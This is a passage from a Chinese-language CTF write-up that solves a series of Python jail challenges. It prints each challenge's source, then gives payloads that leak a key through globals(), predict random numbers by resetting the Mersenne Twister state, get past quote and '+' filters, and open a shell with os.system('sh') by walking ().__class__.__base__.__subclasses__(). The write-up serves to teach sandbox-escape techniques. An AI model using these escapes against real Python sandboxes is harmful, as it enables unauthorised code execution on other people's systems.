elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
可以看到一开始这里存在两个选项
选项1限制了长度不能超过9,这里尝试了一下发现help()
函数在这里不可实现rce
所以这里得找另一个姿势进行绕过,此时我们发现选项2没有进行限制,但是需要key
才能进入
而在源码中可以发现key是一个全局变量
所以我们可以在选项1中使用globals()
函数读取全局变量获取到key的值
然后带上key的值进入选项2命令执行即可获取flag
l@ke l@ke l@ke
help()+
__main__
返回全局变量
题目源码
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)
和上一题相比,把长度限制减少到6,于是不能直接用globals
,locals
函数,那只剩help()
函数有突破口了
实际操作时发现!sh
不能进到shell里面了,应该是做了手脚,这个方法行不通了
这里我们知道在help()
中输入os
的话可以得到os模块的帮助
那输入__main__
的话,应该就能得到当前模块的帮助,包括当前模块的信息和全局变量
成功拿到key
此外,由于脚本文件名字是叫server.py
,所以我们也可以输入模块名server
来得到模块信息
拿到flag
laKe laKe laKe
随机数
题目源码
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
审计一下,发现pty.spawn
、os.system
、os.exec
、os.posix_spawn
、os.spawn
、subprocess.Popen
这些直接进行RCE的函数被过滤了,compile
、eval
、exec
、open
函数也被过滤了,看来RCE这条路是走不通了
而直接获得flag的方法是得到正确的随机数
这里随机数的生成是使用了random.randint
方法
这里需要知道的是:python的random
模块使用梅森旋转法(MT19937)来生成随机数,依赖于getrandbits(32)
,每次产生32bit随机数,每产生624次随机数就转一转
我们先看一下random
模块的所有方法
发现里面存在getstate
和setstate
方法
getstate
获取一个对象的内部状态(或称为状态信息),并返回一个包含状态信息的字典对象
setstate
设置一个对象的内部状态(或称为状态信息),以便将对象状态恢复到之前保存的状态
因为随机数生成器每生成一次随机数都会更新一次状态,那我们只要让它生成随机数时在同一状态就能获取随机数了
所以整体流程为:
先拿到random
模块,再random.getstate()
拿到随机数生成器的状态,再通过random.setstate()
置随机数生成器状态为生成随机数之前的状态,最后random.randint
生成一模一样的随机数
但是这又引出两个问题:
- 上述过程涉及多条语句的执行,但是pyjail只提供了一行
eval
- 如何恢复生成随机数之前的状态
多语句执行
对于第一个问题,
python 3.8还引入了海象运算符:=
:在表达式左侧应用海象运算符,可以将该表达式的值赋给某个变量
另外,我们还可以用一个list来装这些表达式,这样表达式的值就会从左至右依次计算,就像我们写程序一样一行一行地执行,要输出最后的值就在末尾加上一个[-1]
对于函数的实现,我们可以借助lambda表达式来完成
恢复生成随机数之前的状态
对于第二个问题,
我们先在本地测试一下,import random
并打印random.getstate
,发现返回一个元组
大致返回内容为:
(3, (..., 624), None)
…的部分是624个32位整数
很明显,这里第一个取值3
和第三个取值None
都是固定的
现在我们调用一次random.getrandbits(32)
,再查看random.getstate
可以发现内容变成了
(3, (..., 1), None)
前面省略号的值也发生了变化(转过了)
那我们直接让计数器的值为0,这样在下一次执行random.getrandbits(32)
的时候值就会变成1
所以payload的大致思路是:
使用
__import__('random')
导入random
模块,并将其赋值给变量random
使用
random.getstate()
方法获取当前的随机数生成器状态,并将其赋值给变量state
使用
state[1]
切片获取随机数生成器状态元组的前 624 个元素,并将其转换为列表,并将其赋值给变量pre_state
。(因为梅森旋转法伪随机数生成器的内部状态包含了 624 个整数,其中前 624 个整数用于生成下一个随机数)使用
(3,tuple(pre_state+[0]),None)
构造一个新的状态元组,其中第一个元素是一个常数 3,第二个元素是pre_state
列表中的 624 个整数和一个 0 组成的元组,第三个元素为None
。这个新的状态元组用于设置随机数生成器的状态使用
random.setstate()
方法将新的状态元组设置为随机数生成器的状态使用
random.randint(1, 9999999999999)
生成一个随机整数,并将其输出
payload:
[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]
法2:
在下一题中发现RCE部分多加了一个,所以这题应该是可以利用cpython._PySys_ClearAuditHooks
获取flag的
payload回头有时间再研究下(
lak3 lak3 lak3
#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:
import random
from io import StringIO
import sys
sys.addaudithook
BLACKED_LIST = ['compile', 'eval', 'exec']
eval_func = eval
open_func = open
for m in BLACKED_LIST:
del __builtins__.__dict__[m]
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))
def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout
try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout
if input_data == right_guesser_question_answer:
game_score += 1
return game_score
WELCOME='''
_ _ ____ _ _ ____ _ _ ____
| | | | |___ \ | | | | |___ \ | | | | |___ \
| | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
| |/ _` | |/ /|__ < | |/ _` | |/ /|__ < | |/ _` | |/ /|__ <
| | (_| | < ___) | | | (_| | < ___) | | | (_| | < ___) |
|_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/ |_|\__,_|_|\_\____/
'''
def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print('flag{fake_flag_in_local_but_really_in_The_remote}')
else:
print('Guess game end!!!')
if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()
和上题一样禁了各种RCE,但是恢复随机数的方法不依赖RCE,所以上题的payload还能用
level 4
绕过引号过滤
题目源码
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag
BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']
eval_func = eval
for m in BANLIST:
del __builtins__.__dict__[m]
del __loader__, __builtins__
def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)
WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))
禁用了 __loader__
, __import__
, compile
, eval
, exec
, chr
,还禁用了 '
、"
、\
和反引号,删掉了 __loader__
和 __builtins__
先用dir()
看看有啥东西
> dir()
Answer: ['BANLIST', 'WELCOME', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__name__', '__package__', '__spec__', 'eval_func', 'filter', 'input_data', 'm']
发现 __builtins__
还在,那看看里面有啥
> __builtins__
Answer: {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2022 Python Software Foundation.
All Rights Reserved.
发现里面存在open
函数,因为题目源码已经告诉我们flag的路径,那我们直接用open('flag').read()
读取文件即可,但是需要用到引号
所以接下来就是要想办法获取引号
bytes的ASCII list初始化方式
我们可以使用 Python 中的 bytes
对象来表示一个字节序列,其中每个字节都是一个介于0和255之间的整数
例:
print(bytes([72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]))
结果是b'Hello World'
而要想把字符串中的每个字符转换为ascii值,则需要运行以下脚本
s = "flag"
print([ord(c) for c in s])
结果是[102, 108, 97, 103]
则最终的payload:
open(bytes([102, 108, 97, 103]).decode()).read()
level 4.0.5
没给题目源码
先nc上题目看看
题目告诉我们和上题相比还多ban了input
,locals
,globals
先尝试拿着上题的paylaod打进去看看
emm成功了
level 4.1
__doc__
魔术方法获取字符+getshell
没给题目源码
题目告诉我们比上题多ban了个bytes
,那么这里还有一种方法能够获取字符
__doc__
魔术方法获取字符
用索引的方式得到想要的字符,并拼接在一起,得到我们想要的字符串
以().__doc__
为例,它的帮助文档为:
Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object.
所以我们只要在本地先找到对应的偏移量:
().__doc__.find('f')
然后继续使用open函数读取文件,在payload中将其拼接即可
open(().__doc__[31]+().__doc__[3]+().__doc__[14]+().__doc__[38]).read()
然后发现flag好像不叫flag了。。。
那只能换个办法,直接getshell
SSTI getshell
Show subclasses with tuple,找到type类中的内部子类
<class 'os._wrap_close'>
,它的全局变量和函数中存在system
对于这题,我们先查找<class 'os._wrap_close'>
的位置
().__class__.__base__.__subclasses__()
可以看到在倒数第四个
于是基础的payload形式为:(注:__globals__
和globals
不一样)
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
接下来就是利用__doc__
构造['system']('sh')
最终payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
其实这里也可以利用Show subclasses with tuple找到bytes
类来构造拼接,在上面那张图可以看到bytes
类的索引是6
level 4.2
字符串拼接过滤
+
的绕过 or 直接找到bytes
类来构造拼接
没给源码
题目信息告诉我们和上题相比多ban了个+
上面刚提到的利用Show subclasses with tuple找到bytes
类来构造拼接,拼接符是.
,
所以可以构造对应的payload:(这题<class 'os._wrap_close'>
的索引和bytes
类的索引都没变)
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
成功getshell
法2:join拼接
基础形式:
''.join(['4', '3', '9', '6'])
要绕过一开始的''
,这里直接用str()
就行
payload:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))
level 4.3
没给源码
题目信息告诉我们这题多ban了open
和type
,也就是说上题的预期或许会用到这两个函数(?
不影响上题的payload一把梭
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
level 5
没给源码
题目信息告诉我们flag好像在dir()
中
那我们就看看
> dir()
['__builtins__', 'my_flag']
有一个my_flag
方法
查看这个方法
> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']
有一个flag_level5
类
尝试直接查看my_flag.flag_level5
,返回DELETED,看来有做保护
继续跟进my_flag.flag_level5
看看
> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
发现里面有个encode
函数,尝试调用
my_flag.flag_level5.encode()
成功返回flag
法2:一句话RCE一把梭
__import__('os').system('sh')
level 5.1
没给源码
看题目描述是上一题的修复版,增加了RCE的难度
预期payload:
my_flag.flag_level5.encode()
法2:SSTI getshell
和level 4.1一样,不过<class 'os._wrap_close'>
的索引在倒数第六个
().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')